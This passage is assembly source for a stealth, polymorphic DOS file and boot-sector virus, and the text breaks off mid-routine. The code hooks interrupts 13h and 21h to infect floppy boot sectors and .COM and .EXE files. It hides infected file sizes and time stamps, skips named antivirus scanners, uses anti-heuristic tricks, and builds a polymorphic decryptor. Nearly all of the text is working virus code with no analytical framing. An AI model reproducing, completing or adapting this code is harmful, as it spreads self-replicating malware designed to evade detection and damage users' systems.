call set_int
;Restore segment registers
pop es
pop ds
;Reboot system
int 19h
;----------------------------------------------------------------------------
;Wait until dos is loaded
;----------------------------------------------------------------------------
wait_dos:
;Hook int 21h at installation check
test_1:
cmp ah,01h
jne test_2
cmp si,00BADh
jne test_2
cmp di,0FACEh
je dos_installed
;Hook int 21h if we detect a write operation
test_2:
cmp ah,03h
je dos_installed
ret
;Hook int 21h to our handler
dos_installed:
call push_all
;Set dos loaded flag
mov byte ptr cs:[dos_flag],0FFh
;Check dos version
mov ah,30h
int 21h
cmp al,04h
jb exit_wait
;Save old int 21h vector
mov al,21h
call get_int
mov word ptr cs:[old21h_off],bx
mov word ptr cs:[old21h_seg],es
;Get our segment
push cs
pop ds
;Point int 21h to our handler
mov dx,offset my_int21h
mov al,21h
call set_int
exit_wait:
call pop_all
ret
;----------------------------------------------------------------------------
;Running from an executable
;----------------------------------------------------------------------------
go_ahead:
;Installation check
mov si,00BADh
mov di,0FACEh
mov ah,01h
mov dl,80h
int 13h
jc not_installed
cmp si,0DEADh
jne not_installed
cmp di,0BABEh
jne not_installed
jmp control_end
not_installed:
;Check dos version
mov ah,30h
int 21h
cmp al,04h
jae check_date
jmp control_end
check_date:
;Get current date
mov ah,2Ah
int 21h
;Save today's date
mov byte ptr cs:[today][bp],dl
;Activation circunstance: 4th of June
cmp dh,06h
jne no_activation
cmp dl,04h
jne no_activation
jmp print_credits
no_activation:
;Set dos loaded flag
xor al,al
dec al
mov byte ptr cs:[dos_flag][bp],al
;Clear dos running switch
mov byte ptr cs:[running_sw],"R"
;Save old int 13h
mov al,13h
call get_int
mov word ptr cs:[old13h_seg][bp],es
mov word ptr cs:[old13h_off][bp],bx
;Save old int 03h
mov al,03h
call get_int
mov word ptr cs:[old03h_seg][bp],es
mov word ptr cs:[old03h_off][bp],bx
;Save old int 21h
mov al,21h
call get_int
mov word ptr cs:[old21h_seg][bp],es
mov word ptr cs:[old21h_off][bp],bx
;Redirect traced int 21h to int 03h
lds dx,dword ptr cs:[old21h][bp]
mov al,03h
call set_int
;----------------------------------------------------------------------------
;Memory allocation
;----------------------------------------------------------------------------
sub di,di
;Get pointer to dos info block
mov ah,52h
int 03h
;Get pointer to the dos buffers structure
lds si,es:[bx+12h]
;Get address of first umb
mov ax,ds:[si+1Fh]
cmp ax,0FFFFh
je no_umbs
;Follow the chain
nextumb:
mov ds,ax
;Check for free umb's
cmp word ptr ds:[di+01h],di
jnz no_free_umb
;Check if there is enought size
cmp word ptr ds:[di+03h],para_size+01h
ja handle_mcb
no_free_umb:
;Check if this is the last umb
cmp byte ptr ds:[di+00h],"Z"
je no_umbs
;Jump to next umb in the chain
mov ax,ds
inc ax
add ax,word ptr ds:[di+03h]
mov ds,ax
jmp short nextumb
;Allocate memory from last mcb
no_umbs:
;Get pointer to dos info block
mov ah,52h
int 03h
;Get pointer to first mcb
mov ax,es
dec ax
mov es,ax
add bx,12
lds di,dword ptr es:[bx+00h]
;Follow the mcb chain
nextmcb:
;Check if this is the last mcb
cmp byte ptr ds:[di+00h],"Z"
je ok_mcb
;Next mcb
mov ax,ds
inc ax
add ax,word ptr ds:[di+03h]
mov ds,ax
jmp short nextmcb
ok_mcb:
;Check mcb size
cmp word ptr ds:[di+03h],para_size+4000h
ja ok_mcb_size
jmp control_end
ok_mcb_size:
;Sub top of memory in psp
sub word ptr ds:[di+12h],para_size+01h
handle_mcb:
;Sub virus size and mcb size
sub word ptr ds:[di+03h],para_size+01h
;Clear the last mcb field
mov byte ptr ds:[di+00h],"M"
;Jump to next mcb
mov ax,ds
inc ax
add ax,word ptr ds:[di+03h]
mov es,ax
inc ax
push ax
;Mark mcb as last in the chain
mov byte ptr es:[di+00h],"Z"
;Set dos as owner
mov word ptr es:[di+01h],0008h
;Set mcb size
mov word ptr es:[di+03h],para_size
;Mark UMB as system code
mov di,0008h
mov ax,"CS"
cld
stosw
xor ax,ax
stosw
stosw
stosw
;Copy to memory
pop es
mov ax,cs
mov ds,ax
sub di,di
mov si,bp
add si,0100h
mov cx,lenvir
cld
rep movsb
;Save virus segment
mov ax,es
sub ax,10h
mov ds,ax
;Hook int 13h
mov dx,offset my_int13h
mov al,13h
call set_int
;Hook int 21h
mov dx,offset my_int21h
mov al,21h
call set_int
control_end:
;Restore old int 03h
lds dx,dword ptr cs:[old03h][bp]
mov al,03h
call set_int
;Return to host
cmp byte ptr cs:[prog_type][bp],"E"
je exit_exe
;----------------------------------------------------------------------------
;Exit from .COM
;----------------------------------------------------------------------------
exit_com:
;Restore first three bytes
mov ax,cs
mov es,ax
mov ds,ax
mov si,offset old_header
add si,bp
mov di,0100h
mov cx,0003h
cld
rep movsb
;Restore segment registers
pop es
pop ds
;Check if launcher execution
cmp bp,0000h
je endprog
;Get control back to host
push cs
mov ax,0100h
push ax
call zero_all
retf
;Exit program if launcher execution
endprog:
mov ax,4C00h
int 21h
;----------------------------------------------------------------------------
;Exit from .EXE
;----------------------------------------------------------------------------
exit_exe:
;Restore segment registers
pop es
pop ds
;Get control back to host
mov bx,word ptr cs:[file_buffer+16h][bp]
mov ax,cs
sub ax,bx
mov dx,ax
add ax,word ptr cs:[old_header+16h][bp]
add dx,word ptr cs:[old_header+0Eh][bp]
mov bx,word ptr cs:[old_header+14h][bp]
mov word ptr cs:[exeret][bp],bx
mov word ptr cs:[exeret+02h][bp],ax
mov ax,word ptr cs:[old_header+10h][bp]
mov word ptr cs:[fix1][bp],dx
mov word ptr cs:[fix2][bp],ax
call zero_all
db 0B8h
fix1:
dw 0000h
cli
mov ss,ax
db 0BCh
fix2:
dw 0000h
sti
db 0EAh
exeret:
dw 0000h
dw 0000h
;----------------------------------------------------------------------------
;Virus int 13h handler
;----------------------------------------------------------------------------
my_int13h:
cmp byte ptr cs:[dos_flag],00h
jne ok_dos_flag
call wait_dos
ok_dos_flag:
call push_all
;Installation check
cmp ah,01h
jnz not_check
cmp si,00BADh
jne my13h_exit
cmp di,0FACEh
jne my13h_exit
call pop_all
mov si,0DEADh
mov di,0BABEh
stc
cmc
retf 2
not_check:
;Do not use our int 13h handler if we are using our int 21h handler
cmp byte ptr cs:[running_sw],"R"
jne my13h_exit
;Check for read operations
cmp ah,02h
jne short my13h_exit
;Side 0 of drive a:
or dx,dx
jnz short my13h_exit
;Track 0, sector 1
cmp cx,0001h
je infect_floppy
;Get control back to old int 13h
my13h_exit:
call pop_all
jmp dword ptr cs:[old13h]
;----------------------------------------------------------------------------
;Infect floppy on drive a:
;----------------------------------------------------------------------------
infect_floppy:
;Perform read operation
pushf
call dword ptr cs:[old13h]
jnc boot_read_ok
call pop_all
stc
retf 2
boot_read_ok:
;Check for JMP SHORT at the beginning
cmp byte ptr es:[bx+00h],0EBh
jne exit_disk
;Check if infected
call get_position
cmp word ptr es:[di+boot_marker-boot_code],"RC"
jne not_infected
jmp stealth_boot
not_infected:
;Check for mbr marker also in floppy
cmp word ptr es:[bx+01FEh],0AA55h
je floppy_infection
exit_disk:
call pop_all
stc
cmc
retf 2
;Calculate track and head for floppy
floppy_infection:
;Get sectors per track
mov ax,word ptr es:[bx+18h]
mov cx,ax
;Cut one track for virus body
sub word ptr es:[bx+13h],ax
mov ax,word ptr es:[bx+13h]
xor dx,dx
;Divide total sectors by sectors per track
div cx
xor dx,dx
;Get heads parameter
mov cx,word ptr es:[bx+1Ah]
push cx
;Divide tracks by heads
div cx
push ax
xchg ah,al
mov cl,06h
shl al,cl
or al,01h
;Save virus body position in floopy
mov word ptr cs:[load_cx],ax
pop ax
pop cx
xor dx,dx
div cx
mov byte ptr cs:[load_dh],dl
;Use floppy root directory for old boot sector
mov cx,000Eh
mov dx,0100h
;Write original boot sector
mov ax,0301h
pushf
call dword ptr cs:[old13h]
jc exit13h_inf
ok_original:
;Move virus loader into boot sector
push cs
pop ds
mov si,offset boot_code
mov cx,boot_size
cld
rep movsb
write_boot:
;Reset disk controler
xor ax,ax
pushf
call dword ptr cs:[old13h] ;************old13h]
;Write loader
mov ax,0301h
xor dx,dx
mov cx,0001h
pushf
call dword ptr cs:[old13h] ;+++++++++++old13h]
jnc ok_loader
exit13h_inf:
call pop_all
stc
cmc
retf 2
ok_loader:
;Set boot flag
mov byte ptr cs:[prog_type],"B"
;Perform encryption
call do_encrypt
push cs
pop es
;Write virus body
mov cx,word ptr cs:[load_cx]
mov dh,byte ptr cs:[load_dh]
mov bx,offset virus_copy
mov ax,0300h+sector_size
pushf
call dword ptr cs:[old13h] ;+++++++++++++old13h]
;Hide changes made to boot sector
stealth_boot:
call pop_all
mov cl,03h
mov al,01h
mov cl,0Eh
mov dh,01h
jmp dword ptr cs:[old13h]
;----------------------------------------------------------------------------
;Code inserted into boot sector
;----------------------------------------------------------------------------
boot_code:
cli
xor ax,ax
mov ss,ax
mov es,ax
mov ds,ax
mov si,7C00h
mov sp,si
sti
;Allocate some BIOS memory
sub word ptr ds:[0413h],(lenvir/512)+1
mov ax,word ptr ds:[0413h]
;Calculate residence address
mov cl,06h
shl ax,cl
mov es,ax
;Reset disk
xor ax,ax
int 13h
;Get position in disk
;mov cx,XXXXh
db 0B9h
load_cx dw 0000h
;mov dh,XXh
db 0B6h
load_dh db 00h
;Prepare for reading virus body
try_again:
mov ax,0200h+sector_size
;Read at es:bx
xor bx,bx
;Read virus body into allocated memory
int 13h
jc error_init
;Continue execution on virus body
push es
push bx
retf
;Error during virus initialization
error_init:
int 18h
;----------------------------------------------------------------------------
;Infection marker
;----------------------------------------------------------------------------
boot_marker db "CR"
;End of boot code
boot_end:
;----------------------------------------------------------------------------
;Virus int 21h
;----------------------------------------------------------------------------
my_int21h:
call push_all
;Set int 21h running switch
mov byte ptr cs:[running_sw],"F"
;Anti-heuristic function number examination
xor ax,0FFFFh
mov word ptr cs:[dos_function],ax
;Save old int 24h
mov al,24h
call get_int
mov word ptr cs:[old24h_seg],es
mov word ptr cs:[old24h_off],bx
;Hook int 24h to a do-nothing handler
push cs
pop ds
mov dx,offset my_int24h
mov al,24h
call set_int
;Save old int 03h
mov al,03h
call get_int
mov word ptr cs:[old03h_seg],es
mov word ptr cs:[old03h_off],bx
;Hook int 03h to original int 21h
lds dx,dword ptr cs:[old21h]
mov al,03h
call set_int
;Check for special files
mov ah,51h ;62h?
int 03h
dec bx
mov ds,bx
mov ax,word ptr ds:[0008h]
mov byte ptr cs:[stealth_sw],00h
;Check if arj is running
cmp ax,"RA"
je disable_stealth
;Check for pkzip utils
cmp ax,"KP"
je disable_stealth
;Check for lha
cmp ax,"HL"
je disable_stealth
;Check for backup
cmp ax,"AB"
je disable_stealth
jmp no_running
disable_stealth:
mov byte ptr cs:[stealth_sw],0FFh
no_running:
;Restore and re-save all regs
call pop_all
call push_all
;Put function number into bx
mov bx,word ptr cs:[dos_function]
;----------------------------------------------------------------------------
;Infection functions
;----------------------------------------------------------------------------
infection_00:
;Exec function
cmp bx,(4B00h xor 0FFFFh)
jne infection_01
jmp dos_exec
infection_01:
;Close file (Handle)
cmp bh,(3Eh xor 0FFh)
jne stealth_dos
jmp dos_close
;----------------------------------------------------------------------------
;Stealth functions
;----------------------------------------------------------------------------
stealth_dos:
;Check if stealth is disabled
cmp byte ptr cs:[stealth_sw],0FFh
je m21h_exit
;Open file (Handle)
cmp bh,(3Dh xor 0FFh)
jne stealth_00
jmp dos_open
stealth_00:
;Extended open
cmp bh,(6Ch xor 0FFh)
jne stealth_01
jmp dos_open
stealth_01:
;Directory stealth works with function Findfirst (fcb)
cmp bh,(11h xor 0FFh)
jne stealth_02
jmp ff_fcb
stealth_02:
;Directory stealth works also with function Findnext(fcb)
cmp bh,(12h xor 0FFh)
jne stealth_03
jmp ff_fcb
stealth_03:
;Search stealth works with Findfirst (handle)
cmp bh,(4Eh xor 0FFh)
jne stealth_04
jmp ff_handle
stealth_04:
;Search stealth works also with Findnext (handle)
cmp bh,(4Fh xor 0FFh)
jne stealth_05
jmp ff_handle
stealth_05:
;Read stealth
cmp bh,(3Fh xor 0FFh)
jne stealth_06
jmp dos_read
stealth_06:
;Disinfect if debuggers exec
cmp bx,(4B01h xor 0FFFFh)
jne stealth_07
jmp dos_load_exec
stealth_07:
;Disinfect if file write
cmp bh,(40h xor 0FFh)
jne stealth_08
jmp dos_write
stealth_08:
;Get file date/time
cmp bx,(5700h xor 0FFFFh)
jne stealth_09
jmp dos_get_time
stealth_09:
;Set file date/time
cmp bx,(5701h xor 0FFFFh)
jne m21h_exit
jmp dos_set_time
;Get control back to dos
m21h_exit:
;Free int 03h and int 24h
call unhook_ints
call pop_all
jmp dword ptr cs:[old21h]
;----------------------------------------------------------------------------
;Directory stealth with functions 11h and 12h (fcb)
;----------------------------------------------------------------------------
ff_fcb:
call pop_all
;Call DOS service
int 03h
;Save all regs
call push_all
;Check for errors
cmp al,255
je nofound_fcb
;Get current PSP
mov ah,51h
int 03h
;Check if call comes from DOS
mov es,bx
cmp bx,es:[16h]
jne nofound_fcb
mov bx,dx
mov al,ds:[bx+00h]
push ax
;Get DTA
mov ah,2Fh
int 03h
pop ax
inc al
jnz fcb_ok
add bx,07h
fcb_ok:
;Check if infected
mov ax,word ptr es:[bx+17h]
and al,1Fh
cmp al,1Fh
jne nofound_fcb
;Restore seconds
and byte ptr es:[bx+17h],0E0h
;Restore original file size
sub word ptr es:[bx+1Dh],lenvir
sbb word ptr es:[bx+1Fh],0000h
nofound_fcb:
;Restore some registers and return
call unhook_ints
call pop_all
iret
;----------------------------------------------------------------------------
;Search stealth with functions 4Eh and 4Fh (handle)
;----------------------------------------------------------------------------
ff_handle:
call pop_all
;Call DOS service
int 03h
jnc ffhok
call unhook_ints
stc
retf 2
ffhok:
;Save result
call push_all
;Get DTA
mov ah,2Fh
int 03h
;Check if infected
mov ax,word ptr es:[bx+16h]
and al,1Fh
cmp al,1Fh
jne nofound_handle
;Restore seconds field
and byte ptr es:[bx+16h],0E0h
;Restore original size
sub word ptr es:[bx+1Ah],lenvir
sbb word ptr es:[bx+1Ch],0000h
nofound_handle:
;Restore some registers and exit
call unhook_ints
call pop_all
stc
cmc
retf 2
;----------------------------------------------------------------------------
;Load exec
;----------------------------------------------------------------------------
dos_load_exec:
;Open file for read-only
mov ax,3D00h
int 03h
jnc loaded
jmp m21h_exit
loaded:
xchg bx,ax
jmp do_disinfect
;----------------------------------------------------------------------------
;Write file
;----------------------------------------------------------------------------
dos_write:
call pop_all
call push_all
do_disinfect:
;Get sft address in es:di
call get_sft
jc bad_operation
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je clear_header
bad_operation:
jmp load_error
clear_header:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx
;Save and set file attribute
xor al,al
xchg al,byte ptr es:[di+04h]
push ax
;Save and set file pointer position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
;Get file true size if write operation
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
jne no_size_fix
;Add virus size to file size
add word ptr es:[di+11h],lenvir
adc word ptr es:[di+13h],0000h
no_size_fix:
;Point to old header in file
call seek_end
sub word ptr es:[di+15h],0019h+01h
sbb word ptr es:[di+17h],0000h
;Read old header and encryption key
push cs
pop ds
mov ah,3Fh
mov cx,0019h+01h
mov dx,offset virus_copy
int 03h
jc exit_disin
;Decrypt header
mov cx,0019h
push dx
pop si
mov al,byte ptr cs:[si+19h]
restore_header:
xor byte ptr cs:[si+00h],al
inc si
loop restore_header
;Write old header
call seek_begin
mov dx,offset virus_copy
mov ah,40h
mov cx,0019h-01h
int 03h
;Truncate file
call seek_end
sub word ptr es:[di+15h],lenvir
sbb word ptr es:[di+17h],0000h
xor cx,cx
mov ah,40h
int 03h
exit_disin:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
;Restore file attribute
pop ax
mov byte ptr es:[di+04h],al
;Restore file open mode
pop word ptr es:[di+02h]
;Do not set file date and file time on closing
or byte ptr es:[di+06h],40h
;Clear seconds field
and byte ptr es:[di+0Dh],0E0h
load_error:
;Check if write function
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
je not_load
;Close file
mov ah,3Eh
int 03h
not_load:
jmp m21h_exit
;----------------------------------------------------------------------------
;Get file date/time
;----------------------------------------------------------------------------
dos_get_time:
call pop_all
;Call function
int 03h
jnc ok_get_time
;Exit if error
call unhook_ints
stc
retf 2
ok_get_time:
call push_all
;Check if file is already infected
mov al,cl
mov ah,1Fh
and al,ah
cmp al,ah
jne no_get_time
call pop_all
and cl,0E0h
jmp short exit_get_time
no_get_time:
call pop_all
exit_get_time:
call unhook_ints
stc
cmc
retf 2
;----------------------------------------------------------------------------
;Set file date/time
;----------------------------------------------------------------------------
dos_set_time:
call pop_all
call push_all
;Get address of sft entry
call get_sft
jc no_set_time
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je ok_set_time
no_set_time:
;Exit if not infected or error
jmp m21h_exit
ok_set_time:
;Perform time change but restore our marker
call pop_all
or cl,1Fh
call push_all
jmp m21h_exit
;----------------------------------------------------------------------------
;Open file
;----------------------------------------------------------------------------
dos_open:
;Call dos function
call pop_all
int 03h
jnc do_open
open_fail:
call unhook_ints
stc
retf 2
do_open:
call push_all
;Get sft for file handle
xchg bx,ax
call get_sft
jc no_changes
;Check if file is infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_changes
;If infected stealth true size
sub word ptr es:[di+11h],lenvir
sbb word ptr es:[di+13h],0000h
no_changes:
call unhook_ints
call pop_all
stc
cmc
retf 2
;----------------------------------------------------------------------------
;Read file
;----------------------------------------------------------------------------
dos_read:
;Restore function entry regs
call pop_all
call push_all
;Duplicate handle
mov ah,45h
int 03h
jc no_read_stealth
xchg bx,ax
push ax
;Close new handle in order to update directory entry
mov ah,3Eh
int 03h
pop bx
;Get address of sft entry
call get_sft
jc no_read_stealth
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_read_stealth
;Check and save current offset in file
mov ax,word ptr es:[di+15h]
cmp ax,0019h
jae no_read_stealth
cmp word ptr es:[di+17h],0000h
jne no_read_stealth
mov word ptr cs:[file_offset],ax
call pop_all
;Save address of read buffer
mov word ptr cs:[read_off],dx
mov word ptr cs:[read_seg],ds
;Perform read operation
int 03h
jnc check_read
;Error during file read
call unhook_ints
stc
retf 2
no_read_stealth:
;Exit if no read stealth
jmp m21h_exit
check_read:
call push_all
call get_sft
;Save offset position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
;Save file size
push word ptr es:[di+11h]
push word ptr es:[di+13h]
;Add virus size to file size
add word ptr es:[di+11h],lenvir
adc word ptr es:[di+13h],0000h
;Point to old header in file
call seek_end
sub word ptr es:[di+15h],0019h+01h
sbb word ptr es:[di+17h],0000h
;Read old header and encryption key
push cs
pop ds
mov ah,3Fh
mov cx,0019h+01h
mov dx,offset virus_copy
int 03h
jc exit_read
;Decrypt header
mov cx,0019h
push dx
pop si
mov al,byte ptr cs:[si+19h]
decrypt_header:
xor byte ptr cs:[si+00h],al
inc si
loop decrypt_header
;Move old header into read buffer
les di,dword ptr cs:[read_ptr]
mov si,offset virus_copy
mov cx,0019h-01h
mov ax,word ptr cs:[file_offset]
add di,ax
add si,ax
sub cx,ax
cld
rep movsb
exit_read:
call get_sft
;Restore file size
pop word ptr es:[di+13h]
pop word ptr es:[di+11h]
;Restore old offset in file
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
;Restore regs and exit
call unhook_ints
call pop_all
stc
cmc
retf 2
;----------------------------------------------------------------------------
;Infect file at execution ds:dx ptr to filename
;----------------------------------------------------------------------------
dos_exec:
;Open file for read-only
mov ax,3D00h
int 03h
jnc ok_file_open
jmp file_error
ok_file_open:
xchg bx,ax
jmp short from_open
;----------------------------------------------------------------------------
;Infect file at close
;----------------------------------------------------------------------------
dos_close:
call pop_all
call push_all
;Duplicate handle
mov ah,45h
int 03h
jc file_error
xchg bx,ax
push ax
;Close new handle in order to update directory entry
mov ah,3Eh
int 03h
pop bx
from_open:
;Get sft address in es:di
call get_sft
jc file_error
;Check device info word
mov ax,word ptr es:[di+05h]
;Check if character device handle
test al,80h
jnz file_error
;Check if remote file handle
test ah,0Fh
jnz file_error
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je file_error
;Do not infect files with todays date
mov al,byte ptr es:[di+0Fh]
and al,1Fh
cmp al,byte ptr cs:[today]
je file_error
;Check file name in sft
mov cx,0Bh
mov si,di
name_loop:
;Do not infect files with numbers in their file name
cmp byte ptr es:[si+20h],"0"
jb file_name1
cmp byte ptr es:[si+20h],"9"
jbe file_error
file_name1:
;Do not infect files witch name contains v's
cmp byte ptr es:[si+20h],"V"
je file_error
;Do not infect files with mo in their name
inc si
loop name_loop
;Get first pair
mov ax,word ptr es:[di+20h]
;Do not infect Thunderbyte antivirus utils
cmp ax,"BT"
je file_error
;Do not infect McAfee's Scan
cmp ax,"CS"
je file_error
;Do not infect F-Prot scanner
cmp ax,"-F"
je file_error
;Do not infect Solomon's Guard
cmp ax,"UG"
jne file_infection
file_error:
jmp m21h_exit
file_infection:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx
;Save and set file attribute
xor al,al
xchg al,byte ptr es:[di+04h]
push ax
test al,04h
jnz system_file
;Save and set file pointer position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
call seek_begin
;Read first 20h bytes
push cs
pop ds
mov ah,3Fh
mov cx,0020h
mov dx,offset file_buffer
int 03h
;Seek to end of file and get file size
call seek_end
;Do not infect too small .exe or .com files
or dx,dx
jnz ok_min_size
cmp ax,lenvir+0410h
jbe exit_inf
ok_min_size:
;Check for .com extension
cmp word ptr es:[di+28h],"OC"
jne no_com
cmp byte ptr es:[di+2Ah],"M"
je inf_com
no_com:
;Check for .exe mark in file header
mov cx,word ptr cs:[file_buffer+00h]
;Add markers M+Z
add cl,ch
cmp cl,"Z"+"M"
jne exit_inf
;Check for .exe extension
cmp word ptr es:[di+28h],"XE"
jne exit_inf
cmp byte ptr es:[di+2Ah],"E"
jne exit_inf
jmp inf_exe
;----------------------------------------------------------------------------
;Exit from file infection
;----------------------------------------------------------------------------
exit_inf:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
system_file:
;Restore file attribute
pop ax
mov byte ptr es:[di+04h],al
;Restore file open mode
pop word ptr es:[di+02h]
;Do not set file date/time on closing
or byte ptr es:[di+06h],40h
;Check if close function
cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh)
je no_close_file
;Close file
mov ah,3Eh
int 03h
no_close_file:
jmp m21h_exit
;----------------------------------------------------------------------------
;Infect .COM file
;----------------------------------------------------------------------------
inf_com:
;Don't infect too big .com files
cmp ax,0FFFFh-(lenvir+10h)
jae exit_inf
;Copy header
call copy_header
;Get file length as entry point
sub ax,03h
;Write a jump to virus into header
mov byte ptr cs:[file_buffer+00h],0E9h
mov word ptr cs:[file_buffer+01h],ax
;Set .com marker
mov byte ptr cs:[prog_type],"C"
;Encrypt and infect
jmp get_control
;----------------------------------------------------------------------------
;Infect .EXE file
;----------------------------------------------------------------------------
inf_exe:
;Don't infect Windows programs
cmp word ptr cs:[file_buffer+18h],0040h
jae bad_exe
;Don't infect overlays
cmp word ptr cs:[file_buffer+1Ah],0000h
jne bad_exe
;Check maxmem field
cmp word ptr cs:[file_buffer+0Ch],0FFFFh
jne bad_exe
;Save file size
push ax
push dx
;Page ends on 0200h boundary
mov cx,0200h
div cx
or dx,dx
jz no_round_1
inc ax
no_round_1:
cmp ax,word ptr cs:[file_buffer+04h]
jne no_fit_size
cmp dx,word ptr cs:[file_buffer+02h]
je header_ok
no_fit_size:
pop dx
pop ax
bad_exe:
;Exit if cant infect .exe
jmp exit_inf
header_ok:
call copy_header
pop dx
pop ax
push ax
push dx
mov cx,10h
div cx
sub ax,word ptr cs:[file_buffer+08h]
;Store new entry point
mov word ptr cs:[file_buffer+14h],dx
mov word ptr cs:[file_buffer+16h],ax
;Store new stack position
add dx,lenvir+0410h
and dx,0FFFEh
inc ax
mov word ptr cs:[file_buffer+0Eh],ax
mov word ptr cs:[file_buffer+10h],dx
;Restore size
pop dx
pop ax
;Add virus size to file size
add ax,lenvir
adc dx,0000h
;Page ends on 0200h boundary
mov cx,0200h
div cx
or dx,dx
jz no_round_2
inc ax
no_round_2:
;Store new size
mov word ptr cs:[file_buffer+04h],ax
mov word ptr cs:[file_buffer+02h],dx
;Set .exe marker
mov byte ptr cs:[prog_type],"E"
;Encryption an infection continues on next routine
;----------------------------------------------------------------------------
;Encryption and physical infection
;----------------------------------------------------------------------------
get_control:
call do_encrypt
;Write virus body to the end of file
mov ah,40h
mov cx,lenvir
mov dx,offset virus_copy
int 03h
jc no_good_write
;Seek to beginning of file
call seek_begin
;Write new header
mov ah,40h
mov cx,0019h-01h
mov dx,offset file_buffer
int 03h
;Mark file as infected
or byte ptr es:[di+0Dh],1Fh
no_good_write:
;Jump to infection end
jmp exit_inf
;----------------------------------------------------------------------------
;Encrypt virus body with variable key and generate a
;polymorphic decryptor.
;----------------------------------------------------------------------------
do_encrypt:
call push_all
;Initialize engine
xor ax,ax
mov word ptr cs:[last_subroutine],ax
mov word ptr cs:[decrypt_sub],ax
mov word ptr cs:[last_fill_type],ax
dec ax
mov word ptr cs:[last_step_type],ax
mov byte ptr cs:[last_int_type],al
mov byte ptr cs:[decrypt_pointer],al
;Choose counter and pointer register
call get_rnd
and al,01h
mov byte ptr cs:[address_register],al
;Choose register for decryption instructions
call get_rnd
and al,38h
mov byte ptr cs:[decrypt_register],al
;Chose segment registers for memory operations
call get_seg_reg
mov byte ptr cs:[address_seg_1],al
call get_seg_reg
mov byte ptr cs:[address_seg_2],al
;Fill our buffer with garbage
mov ax,cs
mov ds,ax
mov es,ax
mov di,offset virus_copy
push di
mov cx,decryptor
cld
fill_garbage:
call get_rnd
stosb
loop fill_garbage
pop di
;Now es:di points to the buffer were engine put polymorphic code
choose_type:
;Select the type of filler
mov ax,(end_step_table-step_table)/2
call rand_in_range
;Avoid same types in a row
cmp ax,word ptr cs:[last_step_type]
je choose_type
mov word ptr cs:[last_step_type],ax
add ax,ax
mov bx,ax
cld
call word ptr cs:[step_table+bx]
cmp byte ptr cs:[decrypt_pointer],05h
jne choose_type
;Generate some garbage
call rnd_garbage
;Generate a jump to virus body
mov al,0E9h
stosb
mov ax,decryptor
mov bx,di
sub bx,offset virus_copy-02h
sub ax,bx
stosw
;Store random crypt value
get_rnd_key:
call get_rnd
or al,al
jz get_rnd_key
xchg bx,ax
mov byte ptr cs:[clave_crypt],bl
;Copy virus body to the working area while encrypt
mov si,offset virus_body
mov di,offset virus_copy+decryptor
mov cx,lenvir-decryptor-01h
cld
load_crypt:
lodsb
xor al,bl
stosb
loop load_crypt
;Store key without encryption
movsb
;Restore all regs and return to infection routine
call pop_all
ret
;-----------------------------------------------------------------------------
;Get a valid opcode for memory operations
;-----------------------------------------------------------------------------
get_seg_reg:
cmp byte ptr cs:[prog_type],"C"
je use_ds_es
mov al,2Eh
ret
use_ds_es:
call get_rnd
and al,18h
cmp al,10h
je get_seg_reg
or al,26h
ret
;-----------------------------------------------------------------------------
;Generate next decryptor instruction
;-----------------------------------------------------------------------------
next_decryptor:
;Next instruction counter
inc byte ptr cs:[decrypt_pointer]
;Check if there is a subroutine witch contains next decryptor instruction
cmp word ptr cs:[decrypt_sub],0000h
je build_now
;If so build a call instruction to that subroutine
call do_call_decryptor
ret
build_now:
;Else get next instruction to build
mov bl,byte ptr cs:[decrypt_pointer]
;Generate decryption instructions just into subroutines
cmp bl,03h
jne entry_from_sub
;No instruction was created so restore old pointer
dec byte ptr cs:[decrypt_pointer]
ret
entry_from_sub:
;Entry point if calling from decryptor subroutine building
xor bh,bh
add bx,bx
;Build instruction
call word ptr cs:[instruction_table+bx]
ret
;-----------------------------------------------------------------------------
;Get delta offset
;-----------------------------------------------------------------------------
inst_get_delta:
;Decode a call to next instruction and pop bp
push di
mov ax,00E8h
stosw
mov ax,5D00h
stosw
;Generate some garbage
call rnd_garbage
;Decode a sub bp
mov ax,0ED81h
stosw
;Store address of label
pop ax
sub ax,offset virus_copy-0103h
no_sub_psp:
stosw
ret
;-----------------------------------------------------------------------------
;Load counter register
;-----------------------------------------------------------------------------
inst_load_counter:
mov al,0BEh
add al,byte ptr cs:[address_register]
stosb
;Store size of encrypted data
mov ax,lenvir-decryptor-01h
stosw
ret
;-----------------------------------------------------------------------------
;Load pointer to encrypted data
;-----------------------------------------------------------------------------
inst_load_pointer:
;Load di as pointer
mov al,0BFh
sub al,byte ptr cs:[address_register]
stosb
;Store offset position of encrypted data
mov ax,offset virus_body
stosw
;Generate garbage in some cases
call rnd_garbage
;Generate add reg,bp
mov ch,byte ptr cs:[address_register]
mov cl,03h
rol ch,cl
mov ax,0FD03h
sub ah,ch
stosw
ret
;-----------------------------------------------------------------------------
;Decrypt one byte from encrypted data
;-----------------------------------------------------------------------------
inst_decrypt_one:
;Decode a mov reg,byte ptr cs:[key][bp]
mov al,byte ptr cs:[address_seg_1]
mov ah,8Ah
stosw
mov al,byte ptr cs:[decrypt_register]
or al,86h
stosb
;Store position of encryption key
mov ax,offset clave_crypt
stosw
;Decode a xor byte ptr cs:[si],reg
mov al,byte ptr cs:[address_seg_2]
mov ah,30h
stosw
mov al,byte ptr cs:[decrypt_register]
or al,05h
sub al,byte ptr cs:[address_register]
stosb
ret
;-----------------------------------------------------------------------------
;Increment pointer to encrypted zone
;-----------------------------------------------------------------------------
inst_inc_pointer:
